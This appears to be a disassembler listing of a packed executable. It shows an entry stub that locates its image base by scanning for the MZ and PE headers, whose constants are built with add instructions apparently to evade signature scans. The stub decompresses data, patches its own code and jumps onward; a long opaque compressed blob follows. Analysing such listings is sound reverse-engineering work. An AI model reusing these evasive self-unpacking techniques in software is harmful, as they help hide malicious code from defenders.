; ---------------------------------------------------------------------------
a7N		db 'Û-7`N',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E6041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E604E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E606D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E6074


loc_4E606D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E604E
; ---------------------------------------------------------------------------


loc_4E6074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E6076:				; CODE XREF: start+1Bj
		jmp	loc_4E6265
; ---------------------------------------------------------------------------
		db 3
		dd 626AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E6086:				; CODE XREF: start+8j
		mov	eax, offset loc_54192D
		mov	ecx, offset word_4E626A
		push	eax
		push	ecx
		call	sub_4E611B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E6265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E611B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E6127:				; CODE XREF: sub_4E611B:loc_4E613Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E6132:				; CODE XREF: sub_4E611B+7Aj
					; sub_4E611B+C3j ...
		add	dl, dl
		jnz	short loc_4E613B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E613B:				; CODE XREF: sub_4E611B+19j
		jnb	short loc_4E6127
		add	dl, dl
		jnz	short loc_4E6146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6146:				; CODE XREF: sub_4E611B+24j
		jnb	short loc_4E6197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E6153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6153:				; CODE XREF: sub_4E611B+31j
		jnb	loc_4E6238
		add	dl, dl
		jnz	short loc_4E6162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6162:				; CODE XREF: sub_4E611B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E616D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E616D:				; CODE XREF: sub_4E611B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E6178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6178:				; CODE XREF: sub_4E611B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E6183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6183:				; CODE XREF: sub_4E611B+61j
		adc	eax, eax
		jz	short loc_4E618D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E618D:				; CODE XREF: sub_4E611B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E6132
; ---------------------------------------------------------------------------


loc_4E6197:				; CODE XREF: sub_4E611B:loc_4E6146j
		mov	eax, 1


loc_4E619C:				; CODE XREF: sub_4E611B:loc_4E61B0j
		add	dl, dl
		jnz	short loc_4E61A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E61A5:				; CODE XREF: sub_4E611B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E61B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E61B0:				; CODE XREF: sub_4E611B+8Ej
		jb	short loc_4E619C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E61E3
		mov	ecx, 1


loc_4E61C0:				; CODE XREF: sub_4E611B:loc_4E61D4j
		add	dl, dl
		jnz	short loc_4E61C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E61C9:				; CODE XREF: sub_4E611B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E61D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E61D4:				; CODE XREF: sub_4E611B+B2j
		jb	short loc_4E61C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------


loc_4E61E3:				; CODE XREF: sub_4E611B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E61F1:				; CODE XREF: sub_4E611B:loc_4E6205j
		add	dl, dl
		jnz	short loc_4E61FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E61FA:				; CODE XREF: sub_4E611B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E6205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E6205:				; CODE XREF: sub_4E611B+E3j
		jb	short loc_4E61F1
		cmp	eax, 7D00h
		jnb	short loc_4E6228
		cmp	eax, 500h
		jb	short loc_4E6223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------


loc_4E6223:				; CODE XREF: sub_4E611B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E622B


loc_4E6228:				; CODE XREF: sub_4E611B+F1j
		add	ecx, 2


loc_4E622B:				; CODE XREF: sub_4E611B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E6132
; ---------------------------------------------------------------------------


loc_4E6238:				; CODE XREF: sub_4E611B:loc_4E6153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E6259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E6132
; ---------------------------------------------------------------------------


loc_4E6259:				; CODE XREF: sub_4E611B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E611B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E6265:				; CODE XREF: start:loc_4E6076j
					; start+9Dj
		jmp	loc_54192D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E626A	dw 38E9h		; DATA XREF: start+77o
		dd 1523350h, 8B98BCFBh,	0C8AF6F84h, 0AB47B824h,	112E35F2h
		dd 92C8EBBAh, 22AF47B8h, 0AE0AE111h, 6F8401F3h,	680354B8h
		dd 64696D65h, 0EE2A8461h, 4701EECh, 5674DF8Dh, 3CD40801h
		dd 10EE9BEh, 0E13622EEh, 30F0AB0Eh, 31582D34h, 71A3EF50h
		dd 0E08F0370h, 74736552h, 9C726139h, 2E5E7041h,	4338789Fh
		dd 2122BBBEh, 0D2EF0AE1h, 33F254CBh, 0FE10196h,	0EE22C8FFh
		dd 0C7FFBF10h, 0D421C58Bh, 20C2E860h, 5FED815Dh, 506337Ah
		dd 2E219589h, 45B5110Dh, 9D850815h, 0BD83021Bh,	30E16FDh
		dd 0E78B0C74h, 5AB8E222h, 0C7C27BEDh, 1C244470h, 2A40C53Eh
		dd 6045746Ah, 9A6829A3h, 77E8374h, 250ADF50h, 0A894B1Eh
		dd 0E90AD591h, 57EC0214h, 0A8B55D0h, 0D8C483ECh, 815AC0EEh
		dd 34404DEAh, 0C7DA098Bh, 81BD845h, 89400E18h, 0FC7D8108h
		dd 741DC680h, 87F200Fh,	10B78324h, 4312FF98h, 36E163EBh
		dd 267461DCh, 4C2C914h,	0C4810646h, 8E02FF7Ch, 8D964449h
		dd 8B804501h, 85C7085Dh, 504A1944h, 0D1000A8Dh,	411888C3h
		dd 810BA889h, 206A2BDh,	94E3755Dh, 0BA8D2827h, 475EC64h
		dd 0BB0E8A80h, 0B85B90F4h, 540F37ABh, 0CCD0D378h, 3B4B080Fh
		dd 0AF05F775h, 244647C3h, 0F946624Ah, 61D142A2h, 0D0078ABAh
		dd 0EED85FF0h, 4DA0FC45h, 0ADA304EBh, 3E8046C8h, 0BAF740C5h
		dd 0E6348436h, 0EB0C197Dh, 0CF83E7Fh, 0F012C86Dh, 0A8F40E4Ch
		dd 14C14A10h, 0D604F065h, 0E0D1F803h, 2896C203h, 8ADB3301h
		dd 0FB80301Ch, 0C30A72CCh, 577390Ah, 26EFEBD3h,	617F1422h
		dd 660A0D67h, 0F51E08F6h, 0EA0AC3F4h, 411AC310h, 0A0D0B72h
		dd 24067746h, 5D0121EAh, 0F4EC87F0h, 2317D83h, 0CB3B072h
		dd 0A57676C0h, 0F826AA64h, 8D76E01Ch, 553BA8A0h, 820FFC0Ah
		dd 0B09CBD78h, 0E538AA1Bh, 0E08BA0Eh, 0FC700AB9h, 35DCBD84h
		dd 470FFE00h, 0FA1C7549h, 6A5D22B9h, 6101BBC7h,	0EB82F1D1h
		dd 276DBh, 37D7868Eh, 655106E9h, 17FD36E0h, 0BC268A73h
		dd 1D91E94Fh, 13D86159h, 0E48E0Fh, 675D323Ah, 2B480C28h
		dd 8C547000h, 9AD4551h,	12EA30F4h, 0D93C0E2Fh, 0FD274900h
		dd 9E784094h, 64FA00BCh, 0DEB5ED58h, 82006259h,	0E13346F4h
		dd 33C32C09h, 0F18A89B4h, 8C67EC0Eh, 34CB46D9h,	3982000Eh
		dd 0F765B4Eh, 510FB810h, 8ED1043Dh, 7846CC3Bh, 2E093A75h
		dd 480E11B0h, 6514E4ECh, 16B0690h, 8E05C584h, 8852EA96h
		dd 42A3C53h, 8C0629C2h,	0E7820571h, 98A6DD0Eh, 77812BFFh
		dd 1D220460h, 0C84C134h, 207533F9h, 0BB833FBCh,	39EFB30Ah
		dd 419C0230h, 7F8C4CECh, 40FCFFCCh, 52457F86h, 628060E9h
		dd 4D8C52C4h, 82112504h, 0AB26B1AAh, 13845A68h,	0EE305645h
		dd 55EE825Eh, 0F4281F5h, 0D58A27B3h, 231310B9h,	47439729h
		dd 130D4610h, 80070CC8h, 444FCC82h, 0E9305BAAh,	14201709h
		dd 0DEB900C3h, 577F5240h, 0E00E62BCh, 345C1A6Eh, 86DF39F8h
		dd 15EADA8Dh, 8A790037h, 0A3951B0h, 8B001D1Eh, 0AF705032h
		dd 7E3878Dh, 0A698F4E2h, 6B055081h, 0E9305801h,	60213F04h
		dd 288AE4C4h, 66DD257Dh, 211D0845h, 0C4584800h,	0E1C65B17h
		dd 698F0188h, 8210C979h, 0B4258303h, 0D1CA0B78h, 15943586h
		dd 40750E9h, 45C690F9h,	0B215801Fh, 0A8009318h,	8071C1A5h
		dd 847E64h, 0A6BC6748h,	86C85CE0h, 0B711BA28h, 3F9F0252h
		dd 0DEEA2AB8h, 9F2E8AF5h, 0B14F16D5h, 3E728B26h, 18265A1Bh
		dd 7DF3C36h, 0DAA2018h,	33C00AFCh, 696FB96Eh, 7BBD0A59h
		dd 8135A398h, 0F490778Bh, 79C740E6h, 0C379C91Ch, 0EB0EF3F4h
		dd 0E8105F93h, 5D2A004h, 0A9C782FCh, 0F9090160h, 2418BABCh
		dd 0FF2C291h, 0CFDB903h, 0C8825A06h, 0C387490h,	10EA5768h
		dd 94007A4Dh, 5902AF8Bh, 0E02AB0h, 1CDDC390h, 8260291Dh
		dd 73F5F206h, 60DE8042h, 0FD6A12C2h, 527A050Eh,	508B8552h
		dd 0BC00F0B1h, 8B079098h, 24EF84F2h, 404AEA04h,	176443E3h
		dd 4FBA9400h, 0D4F6C067h, 0C2EC5382h, 6238614h,	81048710h
		dd 22EAD2B8h, 1F3E1180h, 80AAEDDBh, 0A5FAA300h,	488C3963h
		dd 0D53F02ABh, 0E04BAC5Bh, 76EA96A2h, 4E0F5EC8h, 840ECF73h
		dd 3E151BE6h, 48933540h, 7E12F41Eh, 8F1C0128h, 6E1A4A80h
		dd 0D109618h, 1607ED1Fh, 8C53D615h, 2E187814h, 196C6F28h
		dd 0E1B51107h, 1010E97Dh, 0E794C1h, 353A7722h, 0E8B6F4B3h
		dd 6EAF180Ch, 0AA1C81C4h, 57B40718h, 7266CD10h,	2440002Eh
		dd 88790B87h, 0ED0A3267h, 1C219504h, 26000E11h,	54A0CCD4h
		dd 360006DAh, 5B34D28Eh, 0EEFC14F7h, 1B4A3098h,	36C90ED0h
		dd 1BE7153Bh, 0DB41E1BCh, 0F0E0D684h, 1CF79095h, 4012F3FDh
		dd 0EC32385Bh, 2301309Ah, 0AB760A2Dh, 18488F0Eh, 0F42820B4h
		dd 7DB54B40h, 5021C0E7h, 87A91874h, 0B459D100h,	4521293Ch
		dd 1B72C3h, 93E144F2h, 633A3C8h, 7F7CF900h, 0E66A3FC5h
		dd 0DA8A0C2h, 8F0429E4h, 0BCE00F98h, 988F4D0Fh,	306CCCD5h
		dd 64603928h, 32178620h, 218B370Eh, 98D1389h, 42CF118h
		dd 8FAD39h, 8C7AD73Bh, 76464D4Eh, 0DF005079h, 4F8A57C2h
		dd 8B056F84h, 0B2A041FBh, 0E6398D5Ah, 77938D4h,	77BE1213h
		dd 2E87806Ah, 21F59A8Ch, 0D5939800h, 28C926FCh,	1CBC024Ah
		dd 0B08E0DD6h, 68917C99h, 0D0232A28h, 0CA992008h, 8BF701FDh
		dd 823DBE8Ah, 0C4A29548h, 0BDB4812Ah, 418029E6h, 96EC4780h
		dd 72001983h, 75D1E4D5h, 92D49Dh, 0A0602AE9h, 0F6845F8Ah
		dd 985278B8h, 89DE00A4h, 57997CD5h, 8A9405F3h, 31F43184h
		dd 0FC1EB5FCh, 48A0E392h, 0F59482h, 48A8BA91h, 2C2914FEh
		dd 6B7100C4h, 11146CAAh, 9218AB73h, 1B302B9Ch, 30F876D2h
		dd 9158B105h, 938216A2h, 0BFEEB8B4h, 30C674F2h,	9E114E6h
		dd 0D30090CAh, 204BAF4Ch, 19B3DB93h, 4142C082h,	0F6E1086Fh
		dd 239206A6h, 0E90EF4A2h, 895C011Dh, 4D0FD666h,	5430D2CBh
		dd 642EC886h, 40024910h, 3E88F872h, 0DE7F3929h,	0BC09CB80h
		dd 0E7399D6Fh, 92D23038h, 0E00F708h, 6BCCBF76h,	53C1007Ch
		dd 0B548D70Fh, 0F71F7D6Eh, 0BC406FC4h, 0CC43735Ch, 0EACF8BAh
		dd 90DA6A79h, 12474E5h,	54828CB8h, 0B194400Fh, 6673802Eh
		dd 58108CA0h, 260CFC90h, 0A80886C1h, 1B8A6B1h, 5A88D914h
		dd 0EDDB9FECh, 4CC228Dh, 2C78BB4Dh, 88821E04h, 0BA109B24h
		dd 1500175Eh, 0D9552C5Ah, 39C0202Bh, 97688B1Ch,	0D480C140h
		dd 406FE3F5h, 5C927C44h, 28204C90h, 55980036h, 15420BA9h
		dd 673C43A8h, 88A58048h, 328BF7Bh, 2071E8h, 0BE89CED5h
		dd 0B8E2564Ah, 5447AF1Eh, 2B8FD047h, 0DC3E5D0h,	70ED016Dh
		dd 8E3BEB7h, 0D749E00Ch, 9D00C47Ch, 0FE3BCC88h,	0EE8A84Bh
		dd 0C0E24E4Ah, 0DC480360h, 440084E9h, 5556D988h, 19175FFh
		dd 66433954h, 205E04A9h, 92FA0B74h, 3C10D820h, 7C04642Ch
		dd 8C04351Eh, 3B076500h, 0D6324AB2h, 7167F8A0h,	0B19E481Fh
		dd 8100C139h, 0B3F5F3D2h, 4E76A086h, 3391CCA1h,	9C040AB4h
		dd 0D8AA809h, 384AD899h, 6360461Eh, 23947667h, 0E06F293Bh
		dd 27F44F81h, 40FC0796h, 30ADAE11h, 4B2B81C2h, 3B347E05h
		dd 0D8400EE6h, 869C8594h, 0C019079Dh, 0F0FB3FA9h, 0A11B96DFh
		dd 0B699100Ch, 287F70EEh, 24440F5Fh, 507C6EA0h,	3A00DEE1h
		dd 0D103C0C4h, 3910B2h,	8C4313D2h, 4B18966Bh, 82A45B2Ch
		dd 5690026h, 0A8002376h
		dd 0D7BA2B7h, 9CD6005Eh, 0DDA0714Fh, 0CE0CB3F6h, 902817FBh
		dd 0F1044102h, 4908B5B4h, 0E58AB480h, 89E03A8Eh, 142A9492h
		dd 0B428A430h, 6E48C08Eh, 0D446C076h, 0E4A47C02h, 4835D872h
		dd 0E5930C9Ch, 9C6FE183h, 0D1908B88h, 434889F6h, 64806AF8h
		dd 16E6F906h, 0E120079h, 0CE269C24h, 570186ADh,	0A5D70132h
		dd 0F0207182h, 6D440091h, 6E2DF8C2h, 88B04F4Ah,	0F132C20h
		dd 8EB556FEh, 0CB9E2940h, 2B30F785h, 0BA368908h, 3AFA0058h
		dd 5148BBD0h, 450A4E10h, 0C8990EBFh, 0EB015E4Eh, 1B9A920Ch
		dd 74F43474h, 30648113h, 4031C21Bh, 0AE93295Fh,	2AC08610h
		dd 66A4F950h, 9A04450Ch, 5C0D39A8h, 0FDC75C94h,	0BD86724Eh
		dd 7BD47840h, 24259602h, 0C814C295h, 390B42Ch, 7A8C35D7h
		dd 0E078336Ch, 0D3F8D118h, 60F50F71h, 79436128h, 41004C75h
		dd 33476DF1h, 13103E0h,	123A73F5h, 20424537h, 0E9CA1751h
		dd 2C10D88Ch, 0C951C437h, 5A3D4018h, 1F73F700h,	9D43622Dh
		dd 0DC586384h, 22E0A9CBh, 8B094001h, 98A0F90h, 928C09B4h
		dd 0C6C350h, 0D25AC049h, 9F9EF7C4h, 0FACC0E00h,	0C7711284h
		dd 147606FEh, 8829E07Ah, 892D609h, 6F88A52Fh, 6410B482h
		dd 0A0025410h, 0C8740057h, 0A1FEDB08h, 410091A3h, 7CE25314h
		dd 30720BF7h, 0DA5010E0h, 0E630150Dh, 0BC03E111h, 5AB3030Bh
		dd 0E437D93Ah, 9204C5C0h, 84A0F0A4h, 0D0E7C96Eh, 327A4786h
		dd 0F2300F90h, 688FD8E9h, 0F03F6954h, 11D62002h, 0ACA67898h
		dd 0C031CA1Ch, 0D691EC80h, 2E4541F2h, 8D05B4Ch,	1C01148Bh
		dd 0DEF5C882h, 40009C67h, 0CDA997BCh, 421F9882h, 8F03389Fh
		dd 527FA90h, 65FED678h,	0C2900521h, 0B49840A0h,	8C590535h
		dd 7828922Eh, 0A9EC243h, 1072EC71h, 4454BEF8h, 608E5C0Eh
		dd 84D5F58Fh, 0B0E08800h, 0A7C57CEBh, 47A5C800h, 0EA027AE7h
		dd 910406CFh, 1290863Ch, 8009C1C8h, 8F69FD25h, 390F6C74h
		dd 0A0C8BDABh, 5E576F79h, 0FDEF0214h, 962C19CBh, 0DBE66449h
		dd 34F813Bh, 0CC44247Ch, 46DD840h, 56DD2CF9h, 0B2A700BBh
		dd 0A886F747h, 7812D230h, 0C6F13C8h, 2684BA93h,	0C71F94D0h
		dd 440FDA83h, 99CCCC7Dh, 2006492Ch, 2D3ED807h, 0E805B9Ch
		dd 584A0D8Ah, 8482E412h, 190A7707h, 925AFF00h, 2288148Eh
		dd 8900BC36h, 0C74279CFh, 9303F47Bh, 2CA635E5h,	52590005h
		dd 0F122C45Dh, 8E00A94Fh, 77E4EA1Dh, 4F72B44h, 671451E7h
		dd 4F00C07Dh, 0EA040928h, 0FE92980Ch, 0A00E04C5h, 0C0A8D59Eh
		dd 5F6D2FFCh, 907E0078h, 586943Ch, 92000668h, 0A512A353h
		dd 0B0C9D2E3h, 0EE522224h, 0F50D44h, 2CF7C7C8h,	0D71A2044h
		dd 610412E2h, 7D688A0Eh, 579740D0h, 0C58D018Fh,	4D7CD3DCh
		dd 7840A81Ch, 0C942A77h, 94877E92h, 2B3E90E2h, 5AF61090h
		dd 7E78D024h, 0DC90923Dh, 0C11EA801h, 0CC6401CAh, 3CCE2068h
		dd 0A0A4E5h, 3F370C08h,	17469288h, 0C00C1025h, 0C6330498h
		dd 80671D36h, 0AD11421Ah, 0EAC88417h, 24308004h, 1DC06014h
		dd 3DFCF6CFh, 0EE7809F0h, 452ADA03h, 0CB8A8FE9h, 0A030503Bh
		dd 8C0340ECh, 0BCF548F8h, 80185C18h, 7D859F5h, 0E8710383h
		dd 32486180h, 30E190DAh, 9538002Eh, 49606092h, 0D9A4D094h
		dd 3BC81458h, 0EA19E0BAh, 30933AC6h, 1E1027B0h,	0BC3D251Bh
		dd 0A260ED2h, 869165BEh, 569748D0h, 553B009Ah, 0A2C46D0Fh
		dd 6058E4Dh, 3ADD2152h,	2B0EA404h, 0AAD6001Fh, 7F70F46Dh
		dd 0C704C60Fh, 130B6057h, 1788B783h, 72C96DCh, 0DFF12EB1h
		dd 27BD3801h, 0BE107030h, 2D7E9C09h, 0C440AB0h,	20AD1Dh
		dd 0FB88A294h, 5FD812F3h, 33B84F05h, 42C4E89h, 0E7B640E5h
		dd 50782900h, 0D4B2AA87h, 0CB02010Ah, 0AEF1CD8Eh, 33188149h
		dd 39FCD356h, 0B5EA4080h, 35D02F64h, 67071F1Eh,	2D072A5Ch
		dd 7CD06D3Fh, 107A09FEh, 63461DAh, 5F84D4AEh, 47793158h
		dd 76E568h, 40262994h, 31005D69h, 0AEE9BA34h, 1F62D0h
		dd 0C2258CF2h, 1655A486h, 2B54B003h, 7C339EB6h,	459B3C80h
		dd 100DD518h, 503F52F3h, 1A9200EAh, 3F333DBAh, 0F7CC33DCh
		dd 290AE138h, 80AE6354h, 40D6AB00h, 5B2E419h, 0B94EF31Fh
		dd 0D82800A6h, 0B17386D2h, 0DB2D540Ah, 3414A0C3h, 0CE7A0D84h
		dd 0CAE5B85Ch, 54D20848h, 0FC0AC00Fh, 0A41DE82h, 43C0D424h
		dd 0CCF1BF8Dh, 0C58453DBh, 0BFD9B6D9h, 0F5198779h, 212CCCBFh
		dd 0B609184Eh, 0BCA4190h, 0DB0E3414h, 11E50A18h, 0C086D8A3h
		dd 44717B02h, 0B0A065Ah, 0D494BDDEh, 6E150380h,	1CB70943h
		dd 587A3D34h, 0CA5A41ABh, 18928824h, 9E655081h,	0A8506277h
		dd 3B855CC2h, 8614664Ch, 11109822h, 0C80A100Fh,	0BAD2B482h
		dd 0E2841821h, 0F2582024h, 94323EFDh, 90330581h, 60EBBA47h
		dd 0E7064F78h, 4DC26CAFh, 3E5032B9h, 0E82752C8h, 815B6C00h
		dd 0ABC03108h, 0E0808A61h, 0BCA854B6h, 6A0143D3h, 353E9B31h
		dd 90008959h, 28AD4DC9h, 18CAF63Ch, 4270288Bh, 58406FF8h
		dd 0B9803668h, 0F0FE155Fh, 0B48F025Ch, 0A9D058F1h, 1D46A0A0h
		dd 3E2B414Fh, 4404030h,	60D358F3h, 18C139B0h, 0AF01E580h
		dd 71521154h, 2F28D08h,	0DC81FB78h, 95ADB389h, 0AC3CAE31h
		dd 0A7C12A08h, 8E3515A4h, 2054D4DBh, 34158A21h,	1EBC9890h
		dd 189FE600h, 5513627Fh, 0B9633078h, 0D2EF23D0h, 0B0E9530Eh
		dd 0F685A56Dh, 0BC41480Ah, 0A1BA4D9h, 989D0B24h, 0BEB83C84h
		dd 6BC00902h, 464CF0A7h, 691838B3h, 7A61252Eh, 78A9C81Fh
		dd 0E20FF4Eh, 56B49ED2h, 354E3998h, 48DFA07h, 5F603C2Ch
		dd 3E279FA4h, 20E47C84h, 1E70802Dh, 7306F307h, 5EBF0950h
		dd 9C0A1D81h, 1B14AB4h,	20B66520h, 87BCCFBCh, 41898C4h
		dd 40B29C82h, 3E59FCA0h, 90963CBh, 10236432h, 3800C682h
		dd 0D23EB612h, 6B95BFh,	5A6E4388h, 0F1948B38h, 5DA8FB00h
		dd 63E944E4h, 2FA90376h, 4EE550EFh, 548810D3h, 11033E3Ch
		dd 807FBBD4h, 390A035h,	0E65E3E78h, 931C00F6h, 64767921h
		dd 0F83C387Dh, 44508E34h, 0D945200Ah, 0CE113Dh,	4B7568BBh
		dd 8C2D9086h, 6D00E5EEh, 44F8229Ch, 5B19ADh, 103F3879h
		dd 9F164DE4h, 0EF0051EAh, 2D2E63Dh, 2C497569h, 486C7E86h
		dd 0A87ED504h, 9D70DF8h, 4B736EF9h, 6508D800h, 6D03ED62h
		dd 4CB975A4h, 7E39D8A6h, 6F8001Eh, 8B433D92h, 7D0C3E09h
		dd 40D6E404h, 7B1F679h,	5BB32EC9h, 229990E5h, 940037E2h
		dd 0EF81648Dh, 7C2D3E7h, 0E606D953h, 0E53EA03Fh, 7010FFD6h
		dd 0C004A86h, 48F092B3h, 0EC3B2290h, 5B5C803Bh,	6F30575h
		dd 0EF0107D6h, 6050E6FAh, 0B584E503h, 3C727100h, 860260B1h
		dd 3AF0268Ah, 75942938h, 0D2D7D8h, 458454FCh, 0B3038FBBh
		dd 48E56000h, 3F012293h, 6B190094h, 50ED1E79h, 490458D9h
		dd 604D510h, 0A8D49883h, 17DE8870h, 38BEC8h, 0E76DEF15h
		dd 7100F08Fh, 0C26C669Dh, 0EC1102Bh, 53D3ED4h, 407D1886h
		dd 6702D608h, 384C0783h, 46E57071h, 0E40075E7h,	708F9043h
		dd 3ED4AC4h, 0D95192FCh, 0EFE8E504h, 0E9009791h, 0DE756B02h
		dd 22F5ABFh, 46F3676Eh,	8CCDB6D5h, 0FB3E057h, 0BB0EC10Dh
		dd 803C8055h, 905F084Dh, 0D4FA02F6h, 8E473522h,	6337401h
		dd 42E4C4h, 450E3E41h, 0BFDC3DF0h, 0C7709800h, 29BE6A2Dh
		dd 0EE600063h, 0E55D9B3Ah, 5B00A5FEh, 0F446C465h, 3ED297h
		dd 4E10E2E8h, 0D999057Ch
		dd 8267F900h, 0FCBDC547h, 0DB9607B2h, 0A322A3FBh, 62C0974Ch
		dd 410134C4h, 3D53D251h, 0D9DC0EF5h, 0B2FC4Fh, 0DE7C6F03h
		dd 8BF4C96Dh, 48DD5500h, 0FED52395h, 44ACB097h,	5605DB87h
		dd 16D40443h, 46F8824h,	6B01C0FEh, 80465h, 0DE157773h
		dd 0E2F6D1C6h, 3483B629h, 1760056h, 1D132304h, 0CF774DE3h
		dd 7E96DE02h, 0B8543069h, 0FD01781Ch, 0D9E3108Eh, 0AA873DC0h
		dd 4E0CF247h, 298CCBBAh, 0F51D0069h, 92E1D854h,	133A103Fh
		dd 8E642D94h, 0F4056724h, 888A161h, 21176180h, 0ABE309B5h
		dd 81BF1B01h, 7D265FEBh, 0E5C4EDC1h, 0BC89C024h, 0DDA6FA0Eh
		dd 5A85301h, 2BB16041h,	18EACEE8h, 98631679h, 8D3ED25Ah
		dd 0F339E0E5h, 79642EB9h, 2D650FFCh, 45650CEAh,	0C67CF025h
		dd 0F1CE580Eh, 3340F8D1h, 0C83D18FDh, 39DE4870h, 0ECAE88h
		dd 8ED9105Dh, 21684479h, 5B401CACh, 0A05054C1h,	9A1118E7h
		dd 9D3420EFh, 24C01A04h, 86455CD2h, 38844004h, 30F8F4A0h
		dd 0AE038300h, 6780840Fh, 29810097h, 88BA07E6h,	7E3011EAh
		dd 78695062h, 8D49C051h, 5008CF86h, 0C9066579h,	59A229E8h
		dd 0C24D0028h, 0CCC09B3Eh, 0D8BE051Ch, 6C1BBF84h, 0B9A6801Dh
		dd 5DCCC34Dh, 0FD6828C2h, 114711CAh, 71806978h,	8E9574F9h
		dd 43F8E93Ch, 4F0044E0h, 5328204Ah, 3815B92Fh, 0C5BCD2CEh
		dd 0BCCFB4D0h, 6A5E808Ch, 0BE14EDD1h, 6B9DF4E7h, 3666560Bh
		dd 0D2CCC0B1h, 8EA533C2h, 98738838h, 1A62D800h,	295A56EFh
		dd 684E0F0Ch, 0AD81E7D9h, 80C313D4h, 34DCF4D8h,	0EA2BFF04h
		dd 94510ED2h, 0CE068959h, 1300813Fh, 0B2BC8E22h, 33B4331Dh
		dd 27084DBAh, 1B812100h, 0BDDDD18Eh, 98C40EF3h,	68B9740Bh
		dd 0B7081031h, 8958A05Ch, 159702Eh, 1F1AE428h, 0AF72EB8Dh
		dd 1170A208h, 0D49280C1h, 440A630h, 485316EFh, 0EA848884h
		dd 4C3CCA00h, 0F0497A99h, 3D300075h, 0A9606456h, 1BF4E13Eh
		dd 31038430h, 1F63F62Eh, 0C0DA6C17h, 0F06BC718h, 0CC033F5Dh
		dd 5175495Ch, 0C82F93FEh, 5E16A6Dh, 0DDC488DCh,	0E5AC012Dh
		dd 20930A28h, 86011010h, 0D2D71631h, 20926E92h,	7A020D0h
		dd 8B3F5FFFh, 5174809Bh, 0BD750F08h, 871A3FA3h,	212C91E7h
		dd 0F886473Bh, 620039FDh, 0C57D03CEh, 5E4CDAh, 19254A2Dh
		dd 0DBA1B8C8h, 9ADC3600h, 0EC38B505h, 0C0084A42h, 0D4CF7AC0h
		dd 120CB7F8h, 18B3FEE7h, 0B5F0020Bh, 35D0281Eh,	848E3456h
		dd 2F6380E5h, 7AB246E6h, 9E470C3Dh, 0B128587Ch,	3D895140h
